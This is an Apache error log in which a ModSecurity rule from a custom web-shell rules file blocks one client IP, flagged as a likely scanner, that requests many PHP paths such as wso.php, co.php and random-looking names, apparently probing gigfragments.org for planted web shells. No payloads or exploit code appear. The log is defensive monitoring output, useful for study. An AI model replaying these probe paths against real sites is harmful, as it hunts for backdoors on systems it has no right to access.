[Thu Dec 25 21:36:51.046717 2025] [:error] [pid 22131:tid 22134] [client 4.241.194.62:53270] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fc72f.php"] [unique_id "aU0985vVMtSTB4lX2fYp1wAAAEE"]
[Thu Dec 25 21:36:51.604758 2025] [:error] [pid 27869:tid 27886] [client 4.241.194.62:53271] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fc72f.php"] [unique_id "aU098xNK7_n86kBD7qfKYQAAAI8"]
[Thu Dec 25 21:36:52.201289 2025] [:error] [pid 27869:tid 27891] [client 4.241.194.62:36454] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fc72f.php"] [unique_id "aU099BNK7_n86kBD7qfKYgAAAJQ"]
[Thu Dec 25 21:36:53.149327 2025] [:error] [pid 22131:tid 22133] [client 4.241.194.62:53309] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/fc72f.php"] [unique_id "aU099ZvVMtSTB4lX2fYp3QAAAEA"]
[Thu Dec 25 21:36:53.937570 2025] [:error] [pid 27869:tid 27875] [client 4.241.194.62:53300] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wso.php"] [unique_id "aU099RNK7_n86kBD7qfKawAAAIQ"]
[Thu Dec 25 21:37:13.603501 2025] [:error] [pid 27869:tid 27883] [client 4.241.194.62:36438] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm18.php"] [unique_id "aU0-CRNK7_n86kBD7qfKmwAAAIw"]
[Thu Dec 25 21:37:14.755025 2025] [:error] [pid 22045:tid 22104] [client 4.241.194.62:55703] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm18.php"] [unique_id "aU0-CqsGGmXjDnvlmHtjNAAAAUI"]
[Thu Dec 25 21:37:15.612754 2025] [:error] [pid 22043:tid 22051] [client 4.241.194.62:38797] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm18.php"] [unique_id "aU0-Cz4YVtlb2Iz_QE5HTgAAAAM"]
[Thu Dec 25 21:37:16.432071 2025] [:error] [pid 22131:tid 22157] [client 4.241.194.62:53278] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lm18.php"] [unique_id "aU0-DJvVMtSTB4lX2fYp7AAAAFU"]
[Thu Dec 25 21:37:16.942676 2025] [:error] [pid 22131:tid 22150] [client 4.241.194.62:36427] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5b9ac.php"] [unique_id "aU0-DJvVMtSTB4lX2fYp7gAAAE8"]
[Thu Dec 25 21:37:17.724225 2025] [:error] [pid 22131:tid 22140] [client 4.241.194.62:64164] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5b9ac.php"] [unique_id "aU0-DZvVMtSTB4lX2fYp8QAAAEY"]
[Thu Dec 25 21:37:18.143279 2025] [:error] [pid 22045:tid 22117] [client 4.241.194.62:38812] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5b9ac.php"] [unique_id "aU0-DqsGGmXjDnvlmHtjOQAAAU8"]
[Thu Dec 25 21:37:19.003437 2025] [:error] [pid 22044:tid 22075] [client 4.241.194.62:55712] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/5b9ac.php"] [unique_id "aU0-D3PTC5rQKTB0FQ-RJwAAAMA"]
[Thu Dec 25 21:37:19.715367 2025] [:error] [pid 27869:tid 27887] [client 4.241.194.62:53252] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "aU0-DxNK7_n86kBD7qfKogAAAJA"]
[Thu Dec 25 21:37:20.339923 2025] [:error] [pid 27869:tid 27871] [client 4.241.194.62:38819] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "aU0-EBNK7_n86kBD7qfKqAAAAIA"]
[Thu Dec 25 21:37:21.059138 2025] [:error] [pid 27869:tid 27872] [client 4.241.194.62:64980] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "aU0-ERNK7_n86kBD7qfKsAAAAIE"]
[Thu Dec 25 21:37:21.375677 2025] [:error] [pid 22045:tid 22116] [client 4.241.194.62:53283] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/co.php"] [unique_id "aU0-EasGGmXjDnvlmHtjPQAAAU4"]
[Thu Dec 25 21:37:21.639358 2025] [:error] [pid 22045:tid 22122] [client 4.241.194.62:64185] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/56c53.php"] [unique_id "aU0-EasGGmXjDnvlmHtjPwAAAVQ"]
[Thu Dec 25 21:37:22.020770 2025] [:error] [pid 22045:tid 22108] [client 4.241.194.62:55704] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/56c53.php"] [unique_id "aU0-EqsGGmXjDnvlmHtjQQAAAUY"]
[Thu Dec 25 21:37:23.006353 2025] [:error] [pid 27869:tid 27889] [client 4.241.194.62:64142] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/56c53.php"] [unique_id "aU0-ExNK7_n86kBD7qfKuAAAAJI"]
[Thu Dec 25 21:37:23.555564 2025] [:error] [pid 22044:tid 22084] [client 4.241.194.62:53288] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/56c53.php"] [unique_id "aU0-E3PTC5rQKTB0FQ-RKwAAAMk"]
[Thu Dec 25 21:37:24.101799 2025] [:error] [pid 22045:tid 22103] [client 4.241.194.62:53308] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ce.php"] [unique_id "aU0-FKsGGmXjDnvlmHtjRgAAAUE"]
[Thu Dec 25 21:37:24.437892 2025] [:error] [pid 22043:tid 22055] [client 4.241.194.62:36442] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ce.php"] [unique_id "aU0-FD4YVtlb2Iz_QE5HXAAAAAc"]
[Thu Dec 25 21:37:25.212024 2025] [:error] [pid 22043:tid 22066] [client 4.241.194.62:38827] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ce.php"] [unique_id "aU0-FT4YVtlb2Iz_QE5HXwAAABI"]
[Thu Dec 25 21:37:25.559235 2025] [:error] [pid 27869:tid 27875] [client 4.241.194.62:38823] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ce.php"] [unique_id "aU0-FRNK7_n86kBD7qfKwAAAAIQ"]
[Thu Dec 25 21:37:26.300264 2025] [:error] [pid 27869:tid 27890] [client 4.241.194.62:64864] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/domains.php"] [unique_id "aU0-FhNK7_n86kBD7qfKwgAAAJM"]
[Thu Dec 25 21:37:26.778171 2025] [:error] [pid 27869:tid 27894] [client 4.241.194.62:53293] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/domains.php"] [unique_id "aU0-FhNK7_n86kBD7qfKwwAAAJc"]
[Thu Dec 25 21:37:27.478535 2025] [:error] [pid 22045:tid 22124] [client 4.241.194.62:38784] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/domains.php"] [unique_id "aU0-F6sGGmXjDnvlmHtjTQAAAVY"]
[Thu Dec 25 21:37:28.105185 2025] [:error] [pid 22045:tid 22105] [client 4.241.194.62:38787] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/domains.php"] [unique_id "aU0-GKsGGmXjDnvlmHtjTwAAAUM"]
[Thu Dec 25 21:37:28.747327 2025] [:error] [pid 22045:tid 22116] [client 4.241.194.62:53277] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55b76.php"] [unique_id "aU0-GKsGGmXjDnvlmHtjUAAAAU4"]
[Thu Dec 25 21:37:29.346093 2025] [:error] [pid 27869:tid 27874] [client 4.241.194.62:36433] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55b76.php"] [unique_id "aU0-GRNK7_n86kBD7qfKzwAAAIM"]
[Thu Dec 25 21:37:29.953316 2025] [:error] [pid 22045:tid 22108] [client 4.241.194.62:53292] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55b76.php"] [unique_id "aU0-GasGGmXjDnvlmHtjVAAAAUY"]
[Thu Dec 25 21:37:30.560304 2025] [:error] [pid 22131:tid 22151] [client 4.241.194.62:64190] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/55b76.php"] [unique_id "aU0-GpvVMtSTB4lX2fYqCgAAAFA"]
[Thu Dec 25 21:37:31.223629 2025] [:error] [pid 22045:tid 22125] [client 4.241.194.62:38835] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asa.php"] [unique_id "aU0-G6sGGmXjDnvlmHtjVwAAAVc"]
[Thu Dec 25 21:37:31.939878 2025] [:error] [pid 22044:tid 22091] [client 4.241.194.62:36450] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asa.php"] [unique_id "aU0-G3PTC5rQKTB0FQ-RLgAAANA"]
[Thu Dec 25 21:37:32.804176 2025] [:error] [pid 27869:tid 27878] [client 4.241.194.62:38837] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asa.php"] [unique_id "aU0-HBNK7_n86kBD7qfK3gAAAIc"]
[Thu Dec 25 21:37:33.224938 2025] [:error] [pid 27869:tid 27887] [client 4.241.194.62:38838] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/asa.php"] [unique_id "aU0-HRNK7_n86kBD7qfK4AAAAJA"]
[Thu Dec 25 21:37:33.764555 2025] [:error] [pid 27869:tid 27880] [client 4.241.194.62:36436] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4fk6.php"] [unique_id "aU0-HRNK7_n86kBD7qfK4gAAAIk"]
[Thu Dec 25 21:37:34.248909 2025] [:error] [pid 27869:tid 27890] [client 4.241.194.62:36430] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4fk6.php"] [unique_id "aU0-HhNK7_n86kBD7qfK6AAAAJM"]
[Thu Dec 25 21:37:35.563733 2025] [:error] [pid 27869:tid 27879] [client 4.241.194.62:64995] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4fk6.php"] [unique_id "aU0-HxNK7_n86kBD7qfK6gAAAIg"]
[Thu Dec 25 21:37:36.731726 2025] [:error] [pid 27869:tid 27873] [client 4.241.194.62:36477] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/4fk6.php"] [unique_id "aU0-IBNK7_n86kBD7qfK7QAAAII"]
[Thu Dec 25 21:37:38.303864 2025] [:error] [pid 22043:tid 22053] [client 4.241.194.62:53276] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z123.php"] [unique_id "aU0-Ij4YVtlb2Iz_QE5HdwAAAAU"]
[Thu Dec 25 21:37:39.530998 2025] [:error] [pid 22043:tid 22052] [client 4.241.194.62:36440] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z123.php"] [unique_id "aU0-Iz4YVtlb2Iz_QE5HfAAAAAQ"]
[Thu Dec 25 21:37:40.840117 2025] [:error] [pid 22131:tid 22134] [client 4.241.194.62:55700] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z123.php"] [unique_id "aU0-JJvVMtSTB4lX2fYqIwAAAEE"]
[Thu Dec 25 21:37:42.032996 2025] [:error] [pid 22131:tid 22147] [client 4.241.194.62:38824] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/z123.php"] [unique_id "aU0-JpvVMtSTB4lX2fYqKQAAAEw"]
[Thu Dec 25 21:37:43.152067 2025] [:error] [pid 27869:tid 27885] [client 4.241.194.62:38843] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccea.php"] [unique_id "aU0-JxNK7_n86kBD7qfK9gAAAI4"]
[Thu Dec 25 21:37:43.913625 2025] [:error] [pid 22131:tid 22134] [client 4.241.194.62:38791] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccea.php"] [unique_id "aU0-J5vVMtSTB4lX2fYqLgAAAEE"]
[Thu Dec 25 21:37:44.938940 2025] [:error] [pid 22043:tid 22054] [client 4.241.194.62:53287] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccea.php"] [unique_id "aU0-KD4YVtlb2Iz_QE5HgwAAAAY"]
[Thu Dec 25 21:37:45.416432 2025] [:error] [pid 27869:tid 27893] [client 4.241.194.62:64857] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ccea.php"] [unique_id "aU0-KRNK7_n86kBD7qfK-AAAAJY"]
[Thu Dec 25 21:37:46.451187 2025] [:error] [pid 22131:tid 22150] [client 4.241.194.62:38788] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5e0a.php"] [unique_id "aU0-KpvVMtSTB4lX2fYqNAAAAE8"]
[Thu Dec 25 21:37:46.977310 2025] [:error] [pid 27869:tid 27879] [client 4.241.194.62:55691] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5e0a.php"] [unique_id "aU0-KhNK7_n86kBD7qfK_AAAAIg"]
[Thu Dec 25 21:37:47.426294 2025] [:error] [pid 27869:tid 27878] [client 4.241.194.62:64845] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5e0a.php"] [unique_id "aU0-KxNK7_n86kBD7qfK_gAAAIc"]
[Thu Dec 25 21:37:47.839662 2025] [:error] [pid 22044:tid 22084] [client 4.241.194.62:55688] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/a5e0a.php"] [unique_id "aU0-K3PTC5rQKTB0FQ-RPQAAAMk"]
[Thu Dec 25 21:37:48.680704 2025] [:error] [pid 27869:tid 27884] [client 4.241.194.62:38832] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qaez.php56"] [unique_id "aU0-LBNK7_n86kBD7qfLAgAAAI0"]
[Thu Dec 25 21:37:49.683429 2025] [:error] [pid 22044:tid 22077] [client 4.241.194.62:38799] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qaez.php56"] [unique_id "aU0-LXPTC5rQKTB0FQ-RQgAAAMI"]
[Thu Dec 25 21:37:50.194955 2025] [:error] [pid 22131:tid 22145] [client 4.241.194.62:38833] [client 4.241.194.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/qaez.php56"] [unique_id "aU0-LpvVMtSTB4lX2fYqNgAAAEs"]
